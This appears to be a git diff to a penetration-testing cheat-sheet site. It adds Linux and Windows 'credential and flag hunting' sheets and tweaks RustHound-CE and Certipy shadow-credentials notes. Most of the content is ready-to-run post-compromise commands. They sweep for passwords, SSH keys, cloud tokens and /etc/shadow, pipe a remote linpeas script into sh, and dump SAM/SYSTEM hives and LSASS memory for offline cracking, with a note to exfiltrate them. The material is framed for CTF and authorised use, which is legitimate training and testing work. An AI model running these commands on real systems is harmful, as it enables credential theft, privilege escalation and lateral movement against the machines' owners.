Pass-the-hash | `-H :<nt>` | (via runas/pth) | `--hashes :<nt>` | +| Kerberos ccache | `-k -f DC01` | `--kerberos` | `-k` | +| Target DC | `-i <ip>` / `-f <fqdn>` | `--domaincontroller` | `-dc <fqdn> -ns <ip>` | +| LDAPS | `--ldaps` | `--secureldap` | `--use-ldaps` | +| Output dir | `-o <dir>` | `--outputdirectory` | `-op` / cwd | + +RustHound-CE fills the same niche as `bloodhound-ce-python` (remote, Linux-friendly) but as a fast native binary rather than a Python tool. See both companion notes. + +--- + +## 🛠️ Troubleshooting + +| Symptom | Likely cause | Fix | +|:--------|:-------------|:----| +| `KRB_AP_ERR_SKEW` | Clock drift vs DC | Sync time or wrap with `faketime` | +| Empty / tiny output | Wrong domain or no LDAP reach | Verify `-d`, add `-i <DC IP>`, check port 389/636 | +| TLS / cert errors on `--ldaps` | Untrusted DC cert / wrong FQDN | Use correct `-f` FQDN; confirm CA trust | +| Missing sessions / local admins | Ran `DCOnly`, or hosts unreachable | Use `-c All` and ensure SMB/HTTP reachability | +| Hangs on large domains | No caching, big directory | Add `--cache --cache-buffer 10000` | +| Computer IPs missing | Resolver disabled | Add `--fqdn-resolver` (+ `--dns-tcp -n <DNS>`) | +| Auth fails with hash | LM half included | Use `-H :<nthash>` (empty LM) | +| "wrong schema" on upload | Legacy BloodHound server | Use a **CE** server, or a legacy collector instead | + +Add `-v`, `-vv`, or `-vvv` to see the exact LDAP queries and where collection stalls. + +--- + +## 🕶️ OPSEC Notes + +> **Context —** Authorised engagements / lab use only. + +- LDAP enumeration against a DC is **high-signal** to defenders (BloodHound-style query patterns are widely alerted on). Prefer `-c DCOnly` when you only need objects/ACLs and want to avoid touching member hosts. +- `-c All` reaches out to workstations/servers over SMB/HTTP for sessions and local groups — noisier and leaves host-side artifacts. +- LDAPS (`--ldaps`) encrypts the query traffic but does not hide the *volume* or *pattern* of queries. +- Throttle / scope with `--ldap-filter` and target a single DC (`-i`/`-f`) to keep the footprint small. +- Certificate and Kerberos auth avoid sending a cleartext password over the wire; pair with proper ticket hygiene. diff --git a/src/content/sheets/active-directory/shadow-credentials-msds-keycredentiallink-abuse.md b/src/content/sheets/active-directory/shadow-credentials-msds-keycredentiallink-abuse.md @@ -94,10 +94,12 @@ bloodyAD --host dc01.fluffy.htb -d fluffy.htb -u p.agila -p 'prometheusx-303' ad ```bash certipy-ad shadow auto \ -u 'me@domain.htb' -p 'Passw0rd!' \ - -dc-ip $TARGET \ + -dc-ip $TARGET -dc-host dc01.domain.htb \ -account 'targetuser' ``` +> **Certipy v5 —** if `-dc-ip` alone gives `[Errno 113] No route to host`, add `-dc-host dc01.<domain>` (and `-ns $TARGET`), or drop `-dc-ip` and let Certipy resolve the DC via `/etc/hosts`. + ``` [*] Adding Key Credential to 'targetuser' [*] Authenticating as 'targetuser' via PKINIT diff --git a/src/content/sheets/password-attacks/linux-credential-flag-hunting.md b/src/content/sheets/password-attacks/linux-credential-flag-hunting.md @@ -0,0 +1,183 @@ +--- +title: "Linux Credential & Flag Hunting" +description: "Find flags, passwords, keys and secrets on Linux: find/grep recipes, history files, config secrets, SSH keys and automated tools." +category: password-attacks +subcategory: "Credential & Flag Hunting" +tags: [linux, credentials, flags, post-exploitation, enumeration] +tools: [find, grep, LinPEAS, LaZagne] +difficulty: intermediate +updated: "2026-09-14" +source: "repo:Password-Attacks/linux-credential-flag-hunting.md" +--- + +# Linux Credential & Flag Hunting + +Post-compromise searching on Linux: locate proof flags, then sweep for passwords, keys, and secrets that enable lateral movement or privilege escalation. + +> **Golden rule —** append `2>/dev/null` to every recursive `find`/`grep` from `/` so permission-denied noise does not bury real hits. + +--- + +## Phase 1 — Flag Hunting + +```bash +# The usual CTF / exam proof files, anywhere on disk +find / -type f \( -iname 'user.txt' -o -iname 'root.txt' -o -iname 'proof.txt' -o -iname 'flag*.txt' \) 2>/dev/null + +# Common fixed locations +cat /home/*/user.txt 2>/dev/null +cat /root/root.txt 2>/dev/null + +# Anything that looks like a hash-style flag inside files (HTB/THM style) +grep -rlE '[A-Fa-f0-9]{32}' /home /root 2>/dev/null + +# Flag left in an unusual name/extension +find / -type f -iname '*flag*' 2>/dev/null +``` + +--- + +## Phase 2 — The `find` Cheat Card + +```bash +# By name (case-insensitive), suppress errors +find / -iname 'id_rsa' 2>/dev/null + +# By multiple extensions +find / -type f \( -name '*.conf' -o -name '*.config' -o -name '*.cnf' \) 2>/dev/null + +# Files modified in the last day (fresh loot after a deploy) +find / -type f -mmin -60 2>/dev/null # last 60 minutes +find / -type f -newermt '2026-09-01' 2>/dev/null # since a date + +# World-writable files and dirs (tampering / privesc) +find / -type f -perm -o+w 2>/dev/null +find / -writable -type d 2>/dev/null + +# SUID / SGID binaries (privesc paths — cross-check GTFOBins) +find / -perm -4000 -type f 2>/dev/null # SUID +find / -perm -2000 -type f 2>/dev/null # SGID + +# Files owned by a specific user +find / -user root -type f -perm -o+r 2>/dev/null + +# Files with capabilities (modern privesc vector) +getcap -r / 2>/dev/null +``` + +--- + +## Phase 3 — Grep for Secrets + +```bash +# Recursive, case-insensitive, show filename + line +grep -rniE 'password|passwd|pwd|secret|api[_-]?key|token' /etc /opt /var/www /home 2>/dev/null + +# Assignment patterns only (cuts false positives) +grep -rniE '(pass(word)?|secret|token)\s*[=:]\s*\S+' /var/www /opt 2>/dev/null + +# Search only useful file types across a web root +grep -rniE 'password|secret' /var/www --include='*.php' --include='*.env' --include='*.yml' --include='*.ini' 2>/dev/null + +# ripgrep is far faster if present +rg -i --no-ignore -e 'password' -e 'secret' -e 'api_key' /var/www /opt 2>/dev/null +``` + +--- + +## Phase 4 — High-Value File Locations + +### Credential & config files +```bash +# Shell / app history — often holds passwords typed on the CLI +cat ~/.bash_history ~/.zsh_history 2>/dev/null +cat ~/.mysql_history ~/.psql_history ~/.python_history 2>/dev/null +find / \( -name '.*_history' -o -name '.bash_history' \) 2>/dev/null + +# Credentials cached by common tools +cat ~/.netrc ~/.git-credentials 2>/dev/null # plaintext creds +cat ~/.aws/credentials ~/.config/gcloud/*.json 2>/dev/null +cat ~/.docker/config.json 2>/dev/null # base64 registry auth +find / -name '*.kdbx' 2>/dev/null # KeePass databases + +# Web app secrets +find / \( -name 'wp-config.php' -o -name '.env' -o -name 'config.php' \ + -o -name 'settings.py' -o -name 'database.yml' -o -name 'application.properties' \) 2>/dev/null + +# Backups frequently contain old-but-valid secrets +find / -type f \( -name '*.bak' -o -name '*.old' -o -name '*.save' -o -name '*.orig' -o -name '*~' \) 2>/dev/null +``` + +### SSH keys +```bash +# Private keys, authorized_keys, known_hosts (lateral movement) +find / \( -name 'id_rsa' -o -name 'id_ed25519' -o -name 'id_ecdsa' -o -name '*.pem' \) 2>/dev/null +find / -name 'authorized_keys' -o -name 'known_hosts' 2>/dev/null +# Recognise a private key by content, not just name +grep -rl 'PRIVATE KEY' /home /root /etc /opt 2>/dev/null +``` + +### System credential stores +```bash +cat /etc/passwd # users / shells / home dirs +cat /etc/shadow 2>/dev/null # password hashes (root only) +# Unshadow for cracking: unshadow passwd shadow > hashes.txt then hashcat -m 1800 +cat /etc/sudoers /etc/sudoers.d/* 2>/dev/null # sudo rules → privesc +cat /etc/crontab; ls -la /etc/cron.* /var/spool/cron/ 2>/dev/null # scheduled jobs +``` + +--- + +## Phase 5 — Runtime & Memory + +```bash +# Environment variables of every process (secrets passed via env) +for f in /proc/*/environ; do tr '\0' '\n' < "$f" 2>/dev/null; done | grep -iE 'pass|token|key|secret' | sort -u + +# Your own shell environment +env | grep -iE 'pass|token|key|secret' + +# Mounted shares / fstab creds (cifs credentials= files) +cat /etc/fstab 2>/dev/null; grep -rl 'credentials=' /etc 2>/dev/null + +# Command lines of running processes (passwords passed as args) +ps auxww | grep -iE 'pass|token|-p ' 2>/dev/null +``` + +--- + +## Phase 6 — Automated Tools + +| Tool | Command | Notes | +|---|---|---| +| **LinPEAS** | `curl -L https://github.com/peass-ng/PEASS-ng/releases/latest/download/linpeas.sh \| sh` | All-in-one privesc + secret sweep | +| **LinEnum** | `./LinEnum.sh -t -k password` | Keyword search mode | +| **LaZagne** | `./laZagne.py all` | Dumps browser/mail/wifi/db creds | +| **pspy** | `./pspy64` | Watch cron/processes for creds passed as args | +| **deepce** | `./deepce.sh` | Docker/container escape enum | + +```bash +# Run linpeas without touching disk +curl -sL https://github.com/peass-ng/PEASS-ng/releases/latest/download/linpeas.sh | sh 2>/dev/null | tee linpeas.out +``` + +--- + +## Quick Wins Checklist + +- [ ] `sudo -l` — what can you run as root? +- [ ] `~/.bash_history` and other `*_history` files +- [ ] `id_rsa` / `.pem` keys → SSH to other hosts +- [ ] `.env`, `wp-config.php`, `config.php` in web roots +- [ ] `/etc/shadow` readable? → crack with hashcat `-m 1800` +- [ ] SUID binaries → check GTFOBins +- [ ] Cron jobs running writable scripts +- [ ] Reused passwords across users (`su` / DB / service) + +--- + +## Related + +* **Windows Credential & Flag Hunting** — same job on Windows / Evil-WinRM +* **Hashcat** — crack the hashes you recover (`-m 1800` sha512crypt, `-m 500` md5crypt) +* **John the Ripper** — `unshadow` + crack `/etc/shadow` diff --git a/src/content/sheets/password-attacks/windows-credential-flag-hunting.md b/src/content/sheets/password-attacks/windows-credential-flag-hunting.md @@ -0,0 +1,229 @@ +--- +title: "Windows Credential & Flag Hunting" +description: "Find flags, passwords and secrets on Windows — CMD vs PowerShell (Evil-WinRM) syntax, config/registry secrets, PS history, and automated tools." +category: password-attacks +subcategory: "Credential & Flag Hunting" +tags: [windows, powershell, evil-winrm, credentials, flags, post-exploitation] +tools: [PowerShell, cmd, Evil-WinRM, WinPEAS, Snaffler, LaZagne] +difficulty: intermediate +updated: "2026-09-14" +source: "repo:Password-Attacks/windows-credential-flag-hunting.md" +--- + +# Windows Credential & Flag Hunting + +Post-compromise searching on Windows: find proof flags, then sweep for passwords and secrets. **Which shell you are in decides which syntax works** — this trips people up constantly. + +--- + +## ⚠️ Read This First — CMD vs PowerShell + +**Evil-WinRM, WinRM, and most modern remote shells drop you into PowerShell, not CMD.** In PowerShell, `dir` and `where` are *aliases* for `Get-ChildItem` and `Where-Object`, so old CMD flags are parsed as arguments and fail: + +```text +*Evil-WinRM* PS C:\> dir /S /B *user*.txt +A positional parameter cannot be found that accepts argument '*user*.txt'. +*Evil-WinRM* PS C:\> where /R C:\ user.txt +A positional parameter cannot be found that accepts argument 'user.txt'. +``` + +`dir /S /B`, `where /R`, and `findstr /SI` are **CMD-only** — they do not work at a PowerShell prompt. Use one of the two fixes below. + +| Task | CMD (cmd.exe only) | PowerShell (Evil-WinRM) | +|---|---|---| +| Recursive file find | `dir /S /B C:\*user*.txt` | `Get-ChildItem -Path C:\ -Recurse -Filter *user*.txt -ErrorAction SilentlyContinue` | +| Find a named file | `where /R C:\ user.txt` | `Get-ChildItem -Path C:\ -Recurse -Filter user.txt -ErrorAction SilentlyContinue` | +| Grep file contents | `findstr /S /I /M "password" *.xml` | `Get-ChildItem -Recurse -Filter *.xml \| Select-String password` | + +**Escape hatch — run CMD from PowerShell:** if you insist on the CMD one-liners, wrap them: +```powershell +cmd /c "dir /S /B C:\*user*.txt" +cmd /c "where /R C:\ user.txt" +cmd /c "findstr /S /I /M password C:\*.xml C:\*.ini C:\*.txt" +``` + +> **Note —** `-ErrorAction SilentlyContinue` (short: `-EA 0`) is the PowerShell equivalent of `2>nul` — it hides "Access Denied" noise from directories you cannot read. Without it, a `C:\` recurse is unreadable. + +--- + +## Phase 1 — Flag Hunting + +### PowerShell (Evil-WinRM) +```powershell +# Standard proof files anywhere on C:\ +Get-ChildItem -Path C:\ -Recurse -Include user.txt,root.txt,proof.txt,flag*.txt -ErrorAction SilentlyContinue -Force + +# Usual desktops (most HTB/exam boxes) +Get-Content C:\Users\*\Desktop\user.txt -ErrorAction SilentlyContinue +Get-Content C:\Users\Administrator\Desktop\root.txt -ErrorAction SilentlyContinue + +# Anything named like a flag, including hidden files (-Force shows hidden/system) +Get-ChildItem -Path C:\ -Recurse -Filter *flag* -Force -ErrorAction SilentlyContinue +``` + +### CMD +```cmd +dir /S /B C:\user.txt C:\root.txt +where /R C:\ user.txt +type C:\Users\Administrator\Desktop\root.txt +``` + +> **Note —** `-Include` needs `-Recurse` (or a wildcard in `-Path`) to take effect. `-Filter` is faster than `-Include` but accepts only one pattern. + +--- + +## Phase 2 — Finding Files (PowerShell reference) + +```powershell +# By extension across the whole drive +Get-ChildItem -Path C:\ -Recurse -Include *.kdbx,*.config,*.xml,*.ini,*.txt -EA 0 + +# Alias shorthand: gci = Get-ChildItem +gci C:\ -Recurse -Filter *.pem -EA 0 | Select-Object FullName + +# Files changed recently (fresh loot) +gci C:\ -Recurse -EA 0 | Where-Object { $_.LastWriteTime -gt (Get-Date).AddDays(-1) } | Select FullName,LastWriteTime + +# Only return the path column, not the full table +gci C:\Users -Recurse -Filter *.txt -EA 0 | % { $_.FullName } +``` + +--- + +## Phase 3 — Grep File Contents (Select-String) + +`Select-String` (alias `sls`) is PowerShell's `grep`/`findstr`: + +```powershell +# Recurse a tree, search common config types for "password" +Get-ChildItem -Path C:\ -Recurse -Include *.xml,*.ini,*.txt,*.config,*.ps1,*.bat -EA 0 | + Select-String -Pattern 'password|passwd|pwd|secret' -EA 0 + +# List only the matching file names (like findstr /M) +gci C:\inetpub,C:\xampp -Recurse -Include *.php,*.config -EA 0 | + Select-String 'password' -List -EA 0 | Select-Object Path + +# Save results to a file +gci C:\ -Recurse -Include *.config,*.xml -EA 0 | + Select-String 'password' -EA 0 | Out-File C:\Windows\Temp\results.txt +``` + +### CMD equivalent (findstr) +```cmd +:: /S recurse, /I case-insensitive, /M filenames only, /N line numbers, /P skip binaries +findstr /S /I /M "password" C:\*.xml C:\*.ini C:\*.txt C:\*.config +findstr /S /I /N "password" C:\*.config 2>nul >> results.txt +findstr /S /P /I "password" C:\Users\*.* +``` + +> **Why the original one-liners failed —** `findstr /spin "password" *.*` and `findstr /si password *.xml` only search the **current directory** unless you `cd` first and give real paths, and they are CMD syntax so they error outright in an Evil-WinRM PowerShell prompt. Prefer the `Select-String` versions above. + +--- + +## Phase 4 — High-Value Locations + +### Unattended install / provisioning files (classic plaintext creds) +```powershell +Get-ChildItem -Path C:\ -Recurse -Include Unattend.xml,Unattended.xml,sysprep.xml,sysprep.inf,Autounattend.xml -EA 0 +# Common fixed paths: +type C:\Windows\Panther\Unattend.xml 2>$null +type C:\Windows\System32\Sysprep\sysprep.xml 2>$null +# GPP password in SYSVOL (cpassword) — decrypt with gpp-decrypt +gci \\<DC>\SYSVOL -Recurse -Include Groups.xml,Services.xml,ScheduledTasks.xml -EA 0 +``` + +### PowerShell & CMD history (very commonly holds passwords) +```powershell +# PSReadLine history file — per user, survives reboots +Get-Content (Get-PSReadlineOption).HistorySavePath -EA 0 +type $env:APPDATA\Microsoft\Windows\PowerShell\PSReadLine\ConsoleHost_history.txt +# Every user's history +gci C:\Users\*\AppData\Roaming\Microsoft\Windows\PowerShell\PSReadLine\ConsoleHost_history.txt -EA 0 | % { $_.FullName; gc $_.FullName } +``` + +### Saved / cached credentials +```powershell +cmdkey /list # stored credentials (use with runas /savecred) +# Web / app config secrets +gci C:\inetpub\wwwroot -Recurse -Include web.config,appsettings.json,*.config -EA 0 | Select-String 'password|connectionString' +type C:\Windows\System32\inetsrv\config\applicationHost.config 2>$null +``` + +### Registry secrets +```powershell +# Autologon plaintext password +Get-ItemProperty 'HKLM:\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon' | Select DefaultUserName,DefaultPassword,DefaultDomainName +# VNC, PuTTY, SNMP, and installer creds +reg query "HKCU\Software\SimonTatham\PuTTY\Sessions" /s 2>$null +reg query "HKLM\SOFTWARE\RealVNC\vncserver" /v Password 2>$null +reg query "HKLM\SYSTEM\CurrentControlSet\Services\SNMP" /s 2>$null +# Search entire hives for "password" +reg query HKLM /f password /t REG_SZ /s 2>$null +reg query HKCU /f password /t REG_SZ /s 2>$null +``` + +### Keys, vaults, and databases +```powershell +gci C:\ -Recurse -Include *.kdbx,*.ppk,*.pem,id_rsa -EA 0 # KeePass / PuTTY / SSH keys +gci C:\Users -Recurse -Include *.rdp -EA 0 # saved RDP profiles +gci $env:USERPROFILE\.aws\credentials,$env:USERPROFILE\.ssh\* -EA 0 +``` + +--- + +## Phase 5 — SAM / LSASS / DPAPI (local admin required) + +```cmd +:: Dump the local SAM + SYSTEM hives, then crack/pass-the-hash offline +reg save HKLM\SAM C:\Windows\Temp\sam.save +reg save HKLM\SYSTEM C:\Windows\Temp\system.save +:: Exfil, then: impacket-secretsdump -sam sam.save -system system.save LOCAL +``` + +```powershell +# LSASS memory dump for mimikatz (Task Manager > lsass > Create dump, or): +rundll32.exe C:\Windows\System32\comsvcs.dll, MiniDump (Get-Process lsass).Id C:\Windows\Temp\lsass.dmp full +# Then offline: pypykatz lsa minidump lsass.dmp +``` + +> **Note —** These need local Administrator / SeDebugPrivilege and are noisy (Defender flags LSASS access). For a stealthier route dump remotely with `nxc smb <host> -u u -p p --sam --lsa`. + +--- + +## Phase 6 — Automated Tools + +| Tool | Run from | Command | +|---|---|---| +| **WinPEAS** | any shell | `.\winPEASx64.exe` (or `winPEAS.bat` in CMD) | +| **Snaffler** | domain host | `.\Snaffler.exe -s -o snaffler.log` — sweeps shares for creds | +| **LaZagne** | any shell | `.\lazagne.exe all` — browsers, wifi, RDP, DB creds | +| **SharpChrome/SharpDPAPI** | .NET | dump browser + DPAPI secrets | +| **PowerUp** | PowerShell | `. .\PowerUp.ps1; Invoke-AllChecks` | +| **seatbelt** | .NET | `.\Seatbelt.exe -group=all` | + +```powershell +# Evil-WinRM: upload a tool then run it +# (from the Evil-WinRM prompt) upload winPEASx64.exe +.\winPEASx64.exe quiet cmd fast +``` + +--- + +## Quick Wins Checklist + +- [ ] `Get-Content (Get-PSReadlineOption).HistorySavePath` — PS history +- [ ] `cmdkey /list` — saved credentials for `runas /savecred` +- [ ] `Unattend.xml` / `sysprep.xml` / `Autounattend.xml` +- [ ] Winlogon `DefaultPassword` autologon +- [ ] `web.config` / `appsettings.json` connection strings +- [ ] SYSVOL `Groups.xml` GPP `cpassword` (→ `gpp-decrypt`) +- [ ] `.kdbx` KeePass, `.ppk`/`id_rsa` keys, `.rdp` profiles +- [ ] `reg query HKLM /f password /t REG_SZ /s` + +--- + +## Related + +* **Linux Credential & Flag Hunting** — same job on Linux +* **Kerberoasting** / **AS-REP Roasting** — turn a domain foothold into crackable hashes +* **Hashcat** — crack recovered hashes (`-m 1000` NTLM, `-m 5600` NetNTLMv2)